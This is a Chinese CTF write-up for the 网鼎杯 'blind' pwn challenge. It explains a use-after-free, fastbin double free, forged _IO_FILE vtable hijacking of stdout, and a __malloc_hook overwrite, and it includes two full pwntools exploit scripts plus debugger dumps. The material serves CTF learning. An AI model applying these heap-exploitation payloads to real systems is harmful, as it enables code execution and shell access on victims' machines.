网鼎杯-blind

网鼎杯pwn-blind

题目下载链接:

链接:https://pan.baidu.com/s/19Imm-V-i71vpEN1mofwOhQ 密码:isek

题目分析

程序提供了下面几种功能:

1
2
3
4
5
6
7
8
int print_choice()
{
puts("1.new");
puts("2.change");
puts("3.release");
puts("4.exit");
return printf("Choice:");
}

  • new:创建一个堆块,大小为0x68,程序对创建堆块的数量进行了限制,最多只能创建5个。
  • change:对分配的堆块进行编辑。
  • release:释放分配的堆块,在释放后没有将对应的指针设置为NULL,存在UAF漏洞。

查看程序开启了哪些保护措施:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到开启了canary、full relro、nx保护措施。

利用思路——劫持FILE结构体

利用fastbin attack可以实现分配一个虚假的chunk在bss段上,进而控制bss段上的数据,实现任意地址写入。再有了任意地址写入的能力后,关键是如何控制程序的流程,程序里面没有输出函数,不存在信息泄露,got表不可写,无法通过修改got表来控制程序流程。

这里采用劫持_IO_FILE的方式来控制程序流程,程序中stdinstdoutstderror结构体的指针均存放在bss段上,由于可以做到任意地址写入,把这里的stdout指针指向我们伪造的_IO_FILE结构体,并将其中的函数表中的值指向0x4008e3处(这里会执行system(‘/bin/sh’))

往bss段上分配虚假的chunk,需要满足对chunk中size域的校验,程序分配的chunk大小均为0x70,而在bss段上恰好可以通过偏移的方式来满足这个条件:

1
2
3
4
5
6
7
8
9
pwndbg> x /100xb 0x602020
0x602020 <stdout>: 0x20 0xb6 0x0c 0x45 0x17 0x7f 0x00 0x00
0x602028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x602030 <stdin>: 0xe0 0xa8 0x0c 0x45 0x17 0x7f 0x00 0x00
0x602038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x602040 <stderr>: 0x40 0xb5 0x0c 0x45 0x17 0x7f 0x00 0x00
0x602048: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x602050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x602058: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

如果chunk是从0x602025-0x8=0x60201d、0x602035-0x8=0x60202d、0x602045-0x8=0x60203d处开始,那么这样的chunk刚好可以满足条件:

1
2
3
4
5
pwndbg> x /10xg 0x60203d
0x60203d: 0x17450cb540000000 0x000000000000007f
0x60204d: 0x0000000000000000 0x0000000000000000
0x60205d: 0x0000602200000000 0x000062c000000000
0x60206d: 0x000062c010000000 0x000062c080000000

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context(arch='amd64', os='linux', endian='little')
context.log_level='debug'

p = process('./blind')
elf = ELF('./blind')

def new(idx,content):
p.recvuntil('Choice:')
p.sendline(str(1))
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Done!')

def change(idx,content,flag=0):
p.recvuntil('Choice:')
p.sendline(str(2))
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Content:')
p.sendline(content)
if flag==0:
p.recvuntil('Done!')

def release(idx):
p.recvuntil('Choice:')
p.sendline(str(3))
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Done!')

def write(where,to,flag=0):
change(5,'\x00'*0x13+p64(where),flag)
change(0,to,flag)


new(0,'a'*10) #chunk 0
new(1,'b'*10) #chunk 1
# new(2,'c'*10) #2

# 这里采用的是double free的方式来往bss分配数据,其实可以直接在free一个chunk后修改其中的fd指针来实现同样的功能
# 这里用double free显得复杂化了
release(0)
release(1)
release(0)

new(2,'a'*10) #chunk 0
new(3,'b'*10) #chunk 1

payload=p64(0x60203d)
change(2,payload)
new(4,'c'*10)

new(5,'\x00')
# 把虚假的FILE结构体伪造在0x602100处
# 相对于FILE偏移为0xd8处为指向函数表的指针
# 该指针指向0x602200,也即伪造的函数表
payload = p64(0xfbada887)+p64(0x0)*7+p64(1)
write(0x602100,payload)
payload = p64(0x602200)
write(0x6021d8,payload)
payload = p64(0x4008e3)*8
write(0x602200,payload)
# gdb.attach(p,gdbscript='''
# b *0x400c6e
# ''')
# raw_input('sss')
write(0x602020,p64(0x602100),1)

p.interactive()

关于_IO_FILE的问题

这里将FILE结构体伪造在了0x602100处,0x602100处对应的值为FILE结构体里面的flag,这个标识的值怎么来的?

1
2
3
4
5
pwndbg> x /10xg 0x00007f17450cb620
0x7f17450cb620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f17450cb6a3
0x7f17450cb630 <_IO_2_1_stdout_+16>: 0x00007f17450cb6a3 0x00007f17450cb6a3
0x7f17450cb640 <_IO_2_1_stdout_+32>: 0x00007f17450cb6a3 0x00007f17450cb6a3
0x7f17450cb650 <_IO_2_1_stdout_+48>: 0x00007f17450cb6a3 0x00007f17450cb6a3

查看stdout结构体原始的flag值为0xfbad2887,但是在虚假FILE结构体里将flag设置为这个值总是会出错。而将其设置为writeup里面的值0xfbada887就没有问题。所以在利用IO_FILE控制程序流程时flag的值应该怎么选择呢?

先比较这两个_flags值(由于_flags值的高2字节为magic,不用管):

1
2
0x2887-->0010 1000 10000111
0xA887-->1010 1000 10000111

可以发现在第二字节的最高位处该值为0x1,flag的值表示的是状态信息,都是通过与某个#define好的值进行与、或操作,这里对应的值应为0x8000,全局搜索glibc源码,找到该值对应的变量为_IO_USER_LOCK

在网上搜索该变量相关的信息,找到了下面的文章:
参考链接

我们劫持的是stdout结构体,在劫持后程序立马调用了函数puts:

1
2
3
4
5
6
if ( (unsigned int)v1 <= 5 && *(&ptr + (unsigned int)v1) )
{
printf("Content:", &s);
get_input((__int64)*(&ptr + (unsigned int)v1), 0x68u);
puts("Done!");
}

puts函数的调用栈回溯:

1
2
3
4
5
6
vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write

puts函数源码中通过_IO_puts函数实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);

if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (_IO_stdout);
return result;
}

函数开始时调用了_IO_acquire_lock函数,问题就出现在这里,跟进该函数:

1
2
3
4
5
6
# define _IO_acquire_lock(_fp) \
do { \
_IO_FILE *_IO_acquire_lock_file \
__attribute__((cleanup (_IO_acquire_lock_fct))) \
= (_fp); \
_IO_flockfile (_IO_acquire_lock_file);

其中又调用了_IO_acquire_lock_fct函数:

1
2
3
4
5
6
7
8
static inline void
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (_IO_FILE **p)
{
_IO_FILE *fp = *p;
if ((fp->_flags & _IO_USER_LOCK) == 0)
_IO_funlockfile (fp);
}

该函数中对标志位_IO_USER_LOCK进行了检查,不能让fp->_flags & _IO_USER_LOCK的值为0,这里需要bypass。

在回过头来看这两个_flag值:

1
2
0x2887-->0010 1000 10000111
0xA887-->1010 1000 10000111

发现0x2887正是因为_IO_USER_LOCK为0,导致程序执行了_IO_funlockfile (fp)函数,造成无法正常触发漏洞。

利用思路——劫持__malloc_hook

这里的思路是参考的大佬的思路:http://p4nda.top/2018/08/27/WDBCTF-2018/
首先利用任意地址写的能力可以在bss段上伪造chunk的各个字段。这里没有信息泄露,但是又需要劫持程序的流程。通过伪造一个不属于fast bin的chunk,free该chunk会把该chunk放进unsorted bin,这样main arena+88的地址就会出现在bss段上了,通过任意地址写的能力将main arena+88的地址最后一个字节改为0x00,而malloc_hook的地址就在(main arena+88)&(~0xFF)+0x10处,然后就可以修改malloc_hook的值了。

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x /20xg 0x602040
0x602040 <stderr>: 0x00007fa93859c540 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000b0a010 0x0000000000b0a080
0x602070: 0x0000000000b0a010 0x0000000000b0a080
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000003
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000

虚假的chunk起始地址需要满足这个条件:__builtin_expect (misaligned_chunk (p), 0),在调试过程中发现如果将chunk起始地址设置在0x602068处,会产生如下的错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[DEBUG] Received 0x48 bytes:
"*** Error in `./blind': free(): invalid pointer: 0x0000000000602078 ***\n"
[DEBUG] Received 0x1d bytes:
'======= Backtrace: =========\n'
[DEBUG] Received 0x985 bytes:
'/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fabcfaa77e5]\n'
'/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fabcfab037a]\n'
'/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fabcfab453c]\n'
'./blind[0x400bd6]\n'
'./blind[0x400ca5]\n'
'/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fabcfa50830]\n'
'./blind[0x4007d9]\n'
'======= Memory map: ========\n'
'00400000-00401000 r-xp 00000000 08:01 1050380 /home/ym/Desktop/ctf/wdb/blind/blind\n'
'00601000-00602000 r--p 00001000 08:01 1050380 /home/ym/Desktop/ctf/wdb/blind/blind\n'
'00602000-00603000 rw-p 00002000 08:01 1050380 /home/ym/Desktop/ctf/wdb/blind/blind\n'
'0089c000-008bd000 rw-p 00000000 00:00 0 [heap]\n'
'7fabc8000000-7fabc8021000 rw-p 00000000 00:00 0 \n'
'7fabc8021000-7fabcc000000 ---p 00000000 00:00 0 \n'
'7fabcf81a000-7fabcf830000 r-xp 00000000 08:01 267917 /lib/x86_64-linux-gnu/libgcc_s.so.1\n'
'7fabcf830000-7fabcfa2f000 ---p 00016000 08:01 267917 /lib/x86_64-linux-gnu/libgcc_s.so.1\n'
'7fabcfa2f000-7fabcfa30000 rw-p 00015000 08:01 267917 /lib/x86_64-linux-gnu/libgcc_s.so.1\n'
'7fabcfa30000-7fabcfbf0000 r-xp 00000000 08:01 311941 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7fabcfbf0000-7fabcfdf0000 ---p 001c0000 08:01 311941 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7fabcfdf0000-7fabcfdf4000 r--p 001c0000 08:01 311941 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7fabcfdf4000-7fabcfdf6000 rw-p 001c4000 08:01 311941 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7fabcfdf6000-7fabcfdfa000 rw-p 00000000 00:00 0 \n'
'7fabcfdfa000-7fabcfe20000 r-xp 00000000 08:01 311346 /lib/x86_64-linux-gnu/ld-2.23.so\n'
'7fabd0002000-7fabd0005000 rw-p 00000000 00:00 0 \n'
'7fabd001e000-7fabd001f000 rw-p 00000000 00:00 0 \n'
'7fabd001f000-7fabd0020000 r--p 00025000 08:01 311346 /lib/x86_64-linux-gnu/ld-2.23.so\n'
'7fabd0020000-7fabd0021000 rw-p 00026000 08:01 311346 /lib/x86_64-linux-gnu/ld-2.23.so\n'
'7fabd0021000-7fabd0022000 rw-p 00000000 00:00 0 \n'
'7ffeca593000-7ffeca5b4000 rw-p 00000000 00:00 0 [stack]\n'
'7ffeca5d2000-7ffeca5d5000 r--p 00000000 00:00 0 [vvar]\n'
'7ffeca5d5000-7ffeca5d7000 r-xp 00000000 00:00 0 [vdso]\n'
'ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\n'
Traceback (most recent call last):

构造的虚假chunk,将bss段上的数据放到了unsorted bin中,main_arena+88的地址也被放到了bss段上:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x /20xg 0x602040
0x602040 <stderr>: 0x00007faaecc34540 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000602068 0x0000000000602060
0x602070: 0x0000000001a93000 0x0000000000000101
0x602080: 0x00007faaecc33b78 0x00007faaecc33b78
0x602090: 0x0000000000000000 0x0000000000000001
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000

查看main_arena+88附近的地址:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x /20xg 0x00007faaecc33b00
0x7faaecc33b00 <__memalign_hook>: 0x00007faaec8f4e20 0x00007faaec8f4a00
//可以看到这里就是malloc_hook的地址,最后一个字节设置为0,且偏移为0x10处
0x7faaecc33b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b70 <main_arena+80>: 0x0000000000000000 0x0000000001a930e0
0x7faaecc33b80 <main_arena+96>: 0x0000000000000000 0x0000000000602070
0x7faaecc33b90 <main_arena+112>: 0x0000000000602070 0x00007faaecc33b88

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context(arch='amd64', os='linux', endian='little')
context.log_level='debug'

p = process('./blind')
elf = ELF('./blind')

def new(idx,content,flag=0):
p.recvuntil('Choice:')
p.sendline(str(1))
p.recvuntil('Index:')
p.sendline(str(idx))
if flag==1:
p.interactive()
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Done!')

def change(idx,content,flag=0):
p.recvuntil('Choice:')
p.sendline(str(2))
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Content:')
p.sendline(content)
if flag==0:
p.recvuntil('Done!')

def release(idx):
p.recvuntil('Choice:')
p.sendline(str(3))
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Done!')

def write(where,to,flag=0):
change(5,'\x00'*0x13+p64(where),flag)
change(0,to,flag)

def new_write(where,to,flag=0):
change(1,p64(where)[:-1],flag)
change(0,to,flag)


new(0,'a'*10) #chunk 0
new(1,'b'*10) #chunk 1
# new(2,'c'*10) #2

release(0)
release(1)
release(0)

new(2,'a'*10) #chunk 0
new(3,'b'*10) #chunk 1

payload=p64(0x60203d)
change(2,payload)
new(4,'c'*10)

new(5,'\x00')

# generate fake chunk
# fake chunk size is 0x101, not in fastbin
payload = '\x01\x01'+'\x00'*5
chunk_base = 0x602070
write(chunk_base+0x8,payload)
# 虚假chunk的下一个chunk的prev_size
write(chunk_base+0x100,p64(0x100))
# 虚假chunk的下一个chunk的size
write(chunk_base+0x100+0x8,p64(0x21))
# 虚假chunk的下下个chunk的size
write(chunk_base+0x100+0x20+0x8,p64(0x21))

write(0x602080,p64(chunk_base+0x10)[:-1])
# change free_times to 0
write(0x602098,p64(0))
write(0x602068,p64(0x602060))
# gdb.attach(p,gdbscript='''
# b *0x400c6e
# ''')
release(4)
new_write(0x602080,'')
change(4,'\x00'*0x10+p64(0x4008e3)[:-1])
new_write(0x602070,p64(0x0))
new(2,'aaa',1)